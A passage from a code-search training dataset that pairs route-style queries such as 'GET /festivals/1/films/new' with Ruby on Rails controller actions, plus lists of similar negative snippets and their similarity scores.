"0.5968051",
"0.5960277",
"0.5960268",
"0.5960012",
"0.59594494",
"0.5954652",
"0.5954304",
"0.59440255",
"0.59404963",
"0.59404963",
"0.59401006",
"0.593522",
"0.5932182",
"0.5925528",
"0.5924541",
"0.5918796",
"0.59123147",
"0.5910144",
"0.5909186",
"0.5907257",
"0.5899382",
"0.5897783",
"0.58972496",
"0.58958495",
"0.58948576",
"0.5892734",
"0.5888056",
"0.58843875",
"0.58818483",
"0.5873746",
"0.58700997",
"0.5870056",
"0.5869255",
"0.58668107",
"0.58662325",
"0.5865003",
"0.5862908",
"0.5862406",
"0.58614665",
"0.5859661",
"0.585562",
"0.5855185",
"0.58523446",
"0.58504915"
] |
0.0
|
-1
|
GET /festivals/1/films/1 GET /festivals/1/films/1.xml
|
def show
@film = @festival.films.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.xml { render :xml => @film }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n @fam = Fam.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @fam }\n end\n end",
"def show\n @film = Film.published.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @film }\n end\n end",
"def new\n @fam = Fam.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @fam }\n end\n end",
"def show\n @feria2010observacion = Feria2010observacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feria2010observacion }\n end\n end",
"def show\n @feat = @person.feats.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feat }\n end\n end",
"def show\n @filme = Filme.find(params[:id])\n end",
"def show\n @fgroup = Fgroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @fgroup }\n end\n end",
"def show\n @firm = Firm.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @firm }\n end\n end",
"def index\n @firms = Firm.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @firms }\n end\n end",
"def show\n @finger = Finger.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @finger }\n end\n end",
"def show\n @feria2009calificacion = Feria2009calificacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feria2009calificacion }\n end\n end",
"def friends(id)\n friends_data(request(\"users/friends/#{id}.xml\", :auth => true))\n end",
"def show\n @add_users_to_film = AddUsersToFilm.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @add_users_to_film }\n end\n end",
"def show\n @feria2014jefe = Feria2014jefe.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feria2014jefe }\n end\n end",
"def show\n @firearm = Firearm.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @firearm }\n end\n end",
"def parseFilerights(doc, params, path)\n \n fullpath = doc.find_first('//xmpp2rest/user/device/filerights').attributes.get_attribute('fullpath') ? doc.find_first('//xmpp2rest/user/device/filerights').attributes.get_attribute('fullpath').value : nil\n if not fullpath\n raise Exception.new('No fullpath given for changing filerights!')\n end\n \n # Checking if public-element (with: true-value) is given -> public file\n allow_public = doc.find_first('//xmpp2rest/user/device/filerights/public/allow') ? true : false\n if allow_public\n params.merge!({\"public\"=>'true'})\n end\n \n \n # Checking if groups are given -> private file\n doc.find('//xmpp2rest/user/device/filerights/groups/group').each do |group_element|\n \n groupname = (group_element.attributes.get_attribute(\"groupname\")) ? group_element.attributes.get_attribute(\"groupname\").value : nil\n if group_element.find_first('allow')\n params.merge!({\"group:#{groupname}\" => '1'})\n elsif group_element.find_first('deny')\n params.merge!({\"group:#{groupname}\" => '0'})\n else\n next\n end\n end\n\n return params, fullpath\n end",
"def show\n @farm = Farm.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @farm }\n end\n end",
"def flights(params={})\n perform_get('/flights.xml', params)\n end",
"def show\n @floormaster = Floormaster.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @floormaster }\n end\n end",
"def show\n @fuga = Fuga.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @fuga }\n end\n end",
"def show\n @perfil = Perfil.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @perfil }\n end\n end",
"def show\n @perfil = Perfil.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @perfil }\n end\n end",
"def set_festival\n @festival = Festival.find(params[:id])\n end",
"def set_festival\n @festival = Festival.friendly.find(params[:id])\n end",
"def show\n @funder = Funder.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @funder }\n end\n end",
"def show\n @factory = Factory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @factory }\n end\n end",
"def index\n @foafs = Foaf.all\n # if all else fails, make RDF then\n # rapper -o dot -i turtle me.ttl | dot -Tsvg -o me.svg\n respond_to do |format|\n format.html #{ render text: convert_one_to_rdf(@foaf, :html) }\n format.ttl { render text: convert_many_to_rdf(@foafs, :ttl) }\n format.rj { render text: convert_many_to_rdf(@foafs, :json) }\n format.nt { render text: convert_many_to_rdf(@foafs, :ntriples) }\n format.rdf { render text: convert_many_to_rdf(@foafs, :rdf) }\n format.jsonld { render text: convert_many_to_rdf(@foafs, :jsonld) }\n end\n end",
"def show\n @flight = Flight.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @flight }\n end\n end",
"def index\n @fgroups = Fgroup.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @fgroups }\n end\n end",
"def flight(id)\n perform_get(\"/flights/#{id}.xml\")\n end",
"def show\n @frequentmag = Frequentmag.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @frequentmag }\n end\n end",
"def show\n @favourites = Favourite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @favourites }\n end\n end",
"def new\n# @fossil = Fossil.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @fossil }\n end\n end",
"def show\n @familia = Familia.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @familia }\n end\n end",
"def show\n @familia = Familia.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @familia }\n end\n end",
"def show\n @fan = Fan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @fan }\n end\n end",
"def index\n @feria2010observaciones = Feria2010observacion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @feria2010observaciones }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @folder }\n end\n end",
"def show\n @foto_album = FotoAlbum.find(params[:id])\n @fotos = @foto_album.fotos\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @foto_album }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @food }\n end\n end",
"def new\n @foyer = Foyer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @foyer }\n end\n end",
"def new\n @feat = @person.feats.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @feat }\n end\n end",
"def show\n @patrimonio = Patrimonio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @patrimonio }\n end\n end",
"def read(id=nil)\r\n request = Net::HTTP.new(@uri.host, @uri.port)\r\n if id.nil?\r\n response = request.get(\"#{@uri.path}.xml\") \r\n else\r\n response = request.get(\"#{@uri.path}/#{id}.xml\") \r\n end\r\n response.body\r\n end",
"def show\n @fan_request = FanRequest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @fan_request }\n end\n end",
"def show\n @feed = Feed.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @feed.to_xml }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feed }\n end\n end",
"def show\n #@feat = Feat.find(params[:id])\n @feat = @character.feats.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feat }\n end\n end",
"def show\n @farmexpense = Farmexpense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @farmexpense }\n end\n end",
"def show\n @frequencia_profissao = Frequencia::Profissao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb.erb\n format.xml { render :xml => @frequencia_profissao }\n end\n end",
"def feed\r\n # check for valid access key:\r\n user = User.find_by_rss_access_key(params[:access_key])\r\n @authorized = !user.blank?\r\n\r\n # get the folder\r\n @folder = Folder.find_by_id(folder_id)\r\n\r\n # set appriopriate instance variables,\r\n # so the feed can be created in folder.rxml\r\n if @authorized and not @folder.blank?\r\n if @folder.is_root or user.can_read(@folder.id)\r\n @folders = @folder.list_subfolders(user, 'name')\r\n @myfiles = @folder.list_files(user, 'filename')\r\n else\r\n @authorized = false\r\n end\r\n end\r\n\r\n # finally, set correct header\r\n if @authorized\r\n headers['Content-Type'] = 'text/xml'\r\n else\r\n headers['Content-Type'] = 'text/html'\r\n end\r\n end",
"def show\n @forecast = Forecast.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @forecast }\n end\n end",
"def show\n # @foaf = Foaf.find(:id)\n respond_to do |format|\n format.html { render layout: false }#text: convert_one_to_rdf(@foaf, :html) }\n format.ttl { render text: convert_one_to_rdf(@foaf, :ttl) }\n format.rj { render text: convert_one_to_rdf(@foaf, :json) }\n format.nt { render text: convert_one_to_rdf(@foaf, :ntriples) }\n format.rdf { render text: convert_one_to_rdf(@foaf, :rdf) }\n format.jsonld { render text: convert_one_to_rdf(@foaf, :jsonld) }\n end\n end",
"def show\n @feria2009beneficiario = Feria2009beneficiario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feria2009beneficiario }\n end\n end",
"def show\n @family ||= Family.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @family }\n end\n end",
"def index\n @funders = Funder.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @funders }\n end\n end",
"def taf(id)\n perform_get(\"/tafs/#{id}.xml\")\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @franchise }\n end\n end",
"def show\n @feria2010beneficiario = Feria2010beneficiario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feria2010beneficiario }\n end\n end",
"def show\n @asociacion_perfil = AsociacionPerfil.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @asociacion_perfil }\n end\n end",
"def new\n @add_users_to_film = AddUsersToFilm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @add_users_to_film }\n end\n end",
"def index\n @feria2009calificaciones = Feria2009calificacion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @feria2009calificaciones }\n end\n end",
"def show\n @fight = Fight.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @fight }\n end\n end",
"def index\n @film = Film.find(params[:film_id], :include => [:festival, {:screenings => :venue }])\n @screenings = @film.screenings\n @festival = @film.festival\n check_festival_access\n \n respond_to do |format|\n format.html { raise NonAjaxEditsNotSupported }\n format.xml { render :xml => @screenings }\n end\n end",
"def show\n @favourite = Favourite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @favourite }\n end\n end",
"def create\n @fam = Fam.new(params[:fam])\n\n respond_to do |format|\n if @fam.save\n flash[:notice] = 'Fam was successfully created.'\n format.html { redirect_to(@fam) }\n format.xml { render :xml => @fam, :status => :created, :location => @fam }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @fam.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n @films = Film.all\n end",
"def films\n self.screenings.map do |screening|\n screening.festival.title\n end\n end",
"def new\n @farm = Farm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @farm }\n end\n end",
"def new\n @farm = Farm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @farm }\n end\n end",
"def index\n\t\t@people = Person.all\n\t\t# respond_to do |format|\n\t\t# \tformat.xml { send_data @entries.to_xml, :type => 'text/xml; charset=UTF-8;', :disposition => 'attachment; filename=entries.xml'}\n\t\t# end\n\tend",
"def new\n @fuga = Fuga.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @fuga }\n end\n end",
"def show\n @repasse_fabrica = RepasseFabrica.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @repasse_fabrica }\n end\n end",
"def new\n @film = @festival.films.new\n \n respond_to do |format|\n format.html { raise NonAjaxEditsNotSupported }\n format.js # new.rjs\n format.xml { render :xml => @film }\n end\n end",
"def show\n @staffd = Staffd.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @staffd }\n end\n end",
"def show\n @fileset_aix_file_map = FilesetAixFileMap.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @fileset_aix_file_map }\n end\n end",
"def new\n @firm = Firm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @firm }\n end\n end",
"def show \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @program.to_xml }\n end\n end",
"def get_film_urls(character)\n character_hash = look_up('http://www.swapi.co/api/people/')\n film_urls = character_hash[\"results\"].find do |element|\n element[\"name\"].downcase == character\n end[\"films\"]\nend",
"def show\n @foam = Foam.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @foam }\n end\n end",
"def show\n @feria2014beneficiario = Feria2014beneficiario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feria2014beneficiario }\n end\n end",
"def new\n @feria2010observacion = Feria2010observacion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @feria2010observacion }\n end\n end",
"def show\n @ficha_tematica = FichaTematica.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ficha_tematica }\n end\n end",
"def show\n @folder = Folder.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @folder }\n end\n end",
"def show\n @folder = Folder.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @folder }\n end\n end",
"def show\n @activo = Activo.find(params[:id])\n @fichas = Ficha.find(:all, :conditions => [\"activo_id = ?\", @activo.id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @activo }\n end\n end",
"def index\n @farms = Farm.all\n\t\trespond_with(@users,@farms)\n end",
"def show\n @membre = @famille.membres.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @membre }\n end\n end",
"def show\n @fine_artist = FineArtist.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @fine_artist }\n end\n end",
"def show\n @alfabe = Alfabe.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @alfabe }\n end\n end",
"def show\n @pfs_consultation = PfsConsultation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @pfs_consultation }\n end\n end",
"def new\n @flight = Flight.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @flight }\n end\n end",
"def get_demographics_from_file(feret_xml_path, subject_id)\n subject_xml_full_path = \"#{feret_xml_path}/#{subject_id}\"\n subject_doc = Nokogiri::XML(File.open(\"#{subject_xml_full_path}/#{subject_id}.xml\"))\n\n FeretSubject.from_xml(subject_doc.at_xpath('//Subjects//Subject'))\nend",
"def show\n @pft = Pft.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @pft }\n format.csv { render :csv => @pft }\n format.json { render :json => @pft }\n end\n end",
"def read(id=nil)\n request = Net::HTTP.new(@uri.host, @uri.port)\n if id.nil?\n response = request.get(\"#{@uri.path}.xml\")\n else\n response = request.get(\"#{@uri.path}/#{id}.xml\")\n end\n\n response.body\n end",
"def new\n @favourites = Favourites.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @favourites }\n end\n end",
"def new\n @feria2014jefe = Feria2014jefe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @feria2014jefe }\n end\n end",
"def show\n @add_moderator_to_film = AddModeratorToFilm.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @add_moderator_to_film }\n end\n end",
"def show\n @fechascontable = Fechascontable.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @fechascontable }\n end\n end",
"def show\n @family_id = @user.fam_id\n\t@login = @user.login\n\t@family = Fam.find(:all, :conditions => [\"id=?\", @family_id])\n #@calendar = @user.calendars.find(params[:id])\n\t@calendar = @family[0].users[0].calendars.find(params[:id])\n\t#@family = @calendar.families\n\t#@family = Family.find(:all, :conditions => [\"id=?\", \"1\"])\n\t@user = User.find(:all, :conditions => [\"id=?\", @calendar.user_id])\n\t@family = User.find(:all, :conditions => [\"fam_id=?\", @user[0].fam_id])\n\t@fam = Fam.find(:all)\n\t#@help = @fam[0].users[0].id\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @calendar }\n end\n end"
] |
[
"0.6422294",
"0.5945609",
"0.58748734",
"0.5871135",
"0.58684886",
"0.57827955",
"0.5766279",
"0.57577723",
"0.57332265",
"0.57319516",
"0.572501",
"0.571337",
"0.57076037",
"0.56797373",
"0.5678734",
"0.56785995",
"0.56589586",
"0.56578887",
"0.56469846",
"0.56448746",
"0.5637911",
"0.5637911",
"0.5630045",
"0.56149304",
"0.55934864",
"0.55926496",
"0.55592996",
"0.55568004",
"0.555223",
"0.5541268",
"0.5540517",
"0.5538498",
"0.55257887",
"0.5515389",
"0.5515389",
"0.5513534",
"0.55044603",
"0.5490691",
"0.54823846",
"0.5481021",
"0.5473409",
"0.5466802",
"0.54633504",
"0.54571223",
"0.5453659",
"0.54446995",
"0.5441462",
"0.543323",
"0.54204345",
"0.5414371",
"0.5413459",
"0.5412459",
"0.54026634",
"0.5398198",
"0.5394429",
"0.5393539",
"0.5392485",
"0.5388132",
"0.53863287",
"0.5383879",
"0.5383389",
"0.53795093",
"0.5378156",
"0.5366549",
"0.5365543",
"0.53651094",
"0.5364582",
"0.5358439",
"0.5358007",
"0.5356645",
"0.53540474",
"0.5344085",
"0.534333",
"0.5330967",
"0.53253204",
"0.5325276",
"0.53244656",
"0.5324234",
"0.531972",
"0.53171295",
"0.53121626",
"0.5304513",
"0.52991056",
"0.5298932",
"0.5298932",
"0.52985746",
"0.52955747",
"0.5294008",
"0.5293012",
"0.52906466",
"0.5285319",
"0.5283053",
"0.5281157",
"0.5279617",
"0.5266953",
"0.5265596",
"0.5264154",
"0.52508134",
"0.5246317",
"0.52420664"
] |
0.72963136
|
0
|
GET /festivals/1/films/new GET /festivals/1/films/new.xml
|
def new
@film = @festival.films.new
respond_to do |format|
format.html { raise NonAjaxEditsNotSupported }
format.js # new.rjs
format.xml { render :xml => @film }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @fam = Fam.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @fam }\n end\n end",
"def new\n @feat = @person.feats.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @feat }\n end\n end",
"def new\n @add_users_to_film = AddUsersToFilm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @add_users_to_film }\n end\n end",
"def new\n# @fossil = Fossil.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @fossil }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end",
"def new\n @foyer = Foyer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @foyer }\n end\n end",
"def new\n @funder = Funder.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @funder }\n end\n end",
"def show\n @film = @festival.films.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @film }\n end\n end",
"def new\n @firm = Firm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @firm }\n end\n end",
"def new\n @perfil = Perfil.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @perfil }\n end\n end",
"def new\n @perfil = Perfil.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @perfil }\n end\n end",
"def create\n @fam = Fam.new(params[:fam])\n\n respond_to do |format|\n if @fam.save\n flash[:notice] = 'Fam was successfully created.'\n format.html { redirect_to(@fam) }\n format.xml { render :xml => @fam, :status => :created, :location => @fam }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @fam.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @farm = Farm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @farm }\n end\n end",
"def new\n @farm = Farm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @farm }\n end\n end",
"def new\n @flight = Flight.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @flight }\n end\n end",
"def new\n @feria2010observacion = Feria2010observacion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @feria2010observacion }\n end\n end",
"def new\n @feria2014jefe = Feria2014jefe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @feria2014jefe }\n end\n end",
"def new\n @family = Family.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @family }\n end\n end",
"def new\n @fuga = Fuga.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @fuga }\n end\n end",
"def new\n @fgroup = Fgroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @fgroup }\n end\n end",
"def new\n @favourites = Favourites.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @favourites }\n end\n end",
"def new\n @fan = Fan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @fan }\n end\n end",
"def new\n @patrimonio = Patrimonio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @patrimonio }\n end\n end",
"def new\n @favourite = Favourite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @favourite }\n end\n end",
"def new\n @familia = Familia.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @familia }\n end\n end",
"def new\n @familia = Familia.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @familia }\n end\n end",
"def new\n @sitio=Sitio.find(params[:id])\n @foro = @sitio.foros.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @foro }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @franchise }\n end\n end",
"def new\n @floormaster = Floormaster.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @floormaster }\n end\n end",
"def new\n @feria2009calificacion = Feria2009calificacion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @feria2009calificacion }\n end\n end",
"def new\n @feefile = Feefile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @feefile }\n end\n end",
"def new\n @fight = Fight.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @fight }\n end\n end",
"def new #GIRO: POST /foals(.:format) foals#create\n@foal = Foal.new #GIRO: http://localhost:3000/foals/new\nend",
"def new\n @funeral = Funeral.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @funeral }\n end\n end",
"def new\n @fridge_food = FridgeFood.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @fridge_food }\n end\n end",
"def new\n @factura = Factura.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @factura }\n end\n end",
"def new\n @firearm = Firearm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @firearm }\n end\n end",
"def new\n @folder = Folder.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @folder }\n end\n end",
"def new\n @folder = Folder.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @folder }\n end\n end",
"def new\n @add_moderator_to_film = AddModeratorToFilm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @add_moderator_to_film }\n end\n end",
"def new\n @foam = Foam.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @foam }\n end\n end",
"def new\n @alfabe = Alfabe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @alfabe }\n end\n end",
"def new\n @food = Food.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @food }\n end\n end",
"def new\n @tournament = @resource_finder.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tournament }\n end\n end",
"def create\n @film = @festival.films.new(params[:film])\n @saved = @film.save\n \n respond_to do |format|\n format.html { raise NonAjaxEditsNotSupported }\n format.js\n if @saved\n format.xml { render :xml => @film, :status => :created, :location => @film }\n else\n format.xml { render :xml => @film.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @title = t('view.firms.new_title')\n @firm = Firm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @firm }\n end\n end",
"def new\n @flightline = Flightline.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @flightline }\n end\n end",
"def new\n @frequencia_profissao = Frequencia::Profissao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @frequencia_profissao }\n end\n end",
"def new\n @ficha_tematica = FichaTematica.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ficha_tematica }\n end\n end",
"def new\n @favorite = Favorite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @favorite }\n end\n end",
"def new\n @saved_food = SavedFood.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @saved_food }\n end\n end",
"def new\n @frequentmag = Frequentmag.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @frequentmag }\n end\n end",
"def new\n @people = People.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @people }\n end\n end",
"def new\n @folder = Folder.new\n @new = true;\n respond_to do |format|\n format.html { render \"edit\" }\n format.xml { render :xml => @folder }\n end\n end",
"def new\n @f_sbj = FSbj.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @f_sbj }\n end\n end",
"def new\n @repasse_fabrica = RepasseFabrica.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @repasse_fabrica }\n end\n end",
"def new2\n #does not allow attaching a picture\n @listing = Listing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.fbml # new.fbml.erb\n format.xml { render :xml => @listing }\n end\n end",
"def index\n @films = current_user.films.order(\"seen DESC\")\n @new_film = current_user.films.new\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @fund_request }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nomina }\n end\n end",
"def new\n @spiel = Spiel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @spiel }\n end\n end",
"def new\n @fav = Fav.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fav }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml \n end\n end",
"def create\n \n @festival = Festival.new(params[:festival])\n\n respond_to do |format|\n if @festival.save\n format.html { redirect_to '/admin', notice: 'Festival was successfully created.' }\n else\n format.html { render action: \"new\" }\n end\n end\n \n end",
"def new\n @parsefile = Parsefile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @parsefile }\n end\n end",
"def new\n respond_to do |format|\n format.html\n format.xml\n end\n end",
"def new\n @faction = Faction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @faction }\n end\n end",
"def new\n @fine_artist = FineArtist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @fine_artist }\n end\n end",
"def new\n @asociacion_perfil = AsociacionPerfil.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @asociacion_perfil }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @infraction_type }\n end\n end",
"def new\n @movie = @school.movies.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @movie }\n end\n end",
"def new\n @foil = Foil.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @foil }\n end\n end",
"def new\n #@firm = Firm.new\n @user = User.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @firm }\n end\n end",
